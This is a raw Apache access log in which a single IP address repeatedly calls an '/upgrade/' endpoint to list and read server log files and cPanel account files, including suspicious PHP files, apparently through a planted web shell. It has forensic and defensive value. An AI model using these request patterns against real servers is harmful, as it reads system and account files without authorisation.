45.135.193.11 - - [11/Sep/2026:22:40:03 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbft.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 48404 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbft.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:03 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbogroup.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 42042 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbogroup.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:03 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbossini.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 507151 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbossini.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:04 -0400] "GET /upgrade/?full_path=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06&location=%2Fvar%2Flog%2F HTTP/1.1" 200 12182 "http://163.245.207.76:443/upgrade/?full_path=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06&location=%2Fvar%2Flog%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:03 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbig-wife.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 778821 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbig-wife.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:04 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbiotaiwan.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 548576 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbiotaiwan.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:04 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbioway88.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 572207 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbioway88.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:05 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbodbooks.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 576961 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbodbooks.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:05 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbooking-wise2.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 83578 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbooking-wise2.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:06 -0400] "GET /upgrade/?full_path=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06&location=%2Fvar%2Flog%2Fapache2%2F HTTP/1.1" 200 5820 "http://163.245.207.76:443/upgrade/?full_path=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06&location=%2Fvar%2Flog%2Fapache2%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:06 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbesth2o.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 57461 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbesth2o.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:07 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbestjudy.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 23839 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbestjudy.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:07 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbestzyx.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 661368 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbestzyx.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:07 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbiotaiwan.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 75341 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbiotaiwan.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:07 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fblackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 100619 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fblackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:07 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbestjudy.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 573582 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbestjudy.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:07 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbft.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 637272 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbft.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:08 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbossini.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 19310 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbossini.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:09 -0400] "GET /upgrade/?full_path=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 8443 "http://163.245.207.76:443/upgrade/?full_path=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:10 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbesth2o.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 567172 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbesth2o.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:10 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbig-wife.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 99996 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbig-wife.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:10 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbogroup.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 101912 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbogroup.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:10 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbroadweb.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 78886 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbroadweb.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:10 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbroadweb.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 892397 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbroadweb.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:11 -0400] "GET /upgrade/?location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 8429 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:11 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbestzyx.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 47167 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbestzyx.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:11 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbetcity.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 27517 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbetcity.com.tw.blackpussy06.men&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:12 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fblackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 99814 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fblackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:12 -0400] "GET /upgrade/index.php?location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 8404 "http://163.245.207.76:443/upgrade/index.php?location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:12 -0400] "GET /upgrade/?location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F&option=folder HTTP/1.1" 200 8442 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:12 -0400] "GET /upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbetcity.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F HTTP/1.1" 200 573455 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F%2Fbetcity.com.tw.blackpussy06.men-ssl_log&location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:12 -0400] "GET /upgrade/?location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F&option=file HTTP/1.1" 200 8442 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Flog%2Fapache2%2Fdomlogs%2Fblackpussy06%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:12 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.cpanel%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F.cpanel%2F HTTP/1.1" 200 19412 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.cpanel%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F.cpanel%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:13 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.cpanel%2F%2Fnvdata.cache&location=%2Fhome%2Fblackpussy06%2F.cpanel%2F HTTP/1.1" 200 6781 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.cpanel%2F%2Fnvdata.cache&location=%2Fhome%2Fblackpussy06%2F.cpanel%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:13 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.cpanel%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F.cpanel%2F HTTP/1.1" 200 51155 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.cpanel%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F.cpanel%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:13 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel%2Fdatastore HTTP/1.1" 200 7328 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel%2Fdatastore" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:13 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.cpanel%2F%2FCpanel_SSL_DCV_DNS_Mutex&location=%2Fhome%2Fblackpussy06%2F.cpanel%2F HTTP/1.1" 200 6715 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.cpanel%2F%2FCpanel_SSL_DCV_DNS_Mutex&location=%2Fhome%2Fblackpussy06%2F.cpanel%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:13 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.cpanel%2F HTTP/1.1" 200 6629 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.cpanel%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:13 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel%2F&option=folder HTTP/1.1" 200 6648 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:13 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel%2Fnvdata HTTP/1.1" 200 6394 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel%2Fnvdata" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel%2F&option=file HTTP/1.1" 200 6650 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.cpanel&location=%2Fhome%2F HTTP/1.1" 200 5764 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.cpanel&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel%2Fcaches HTTP/1.1" 200 6301 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel%2Fcaches" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.cpanel&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7894 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.cpanel&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.cpanel&location=%2Fhome%2Fblackpussy06%2F.cpanel%2F HTTP/1.1" 200 6652 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.cpanel&location=%2Fhome%2Fblackpussy06%2F.cpanel%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel%2F&option=dir HTTP/1.1" 200 6650 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.cpanel&location=%2F HTTP/1.1" 200 7818 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.cpanel&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
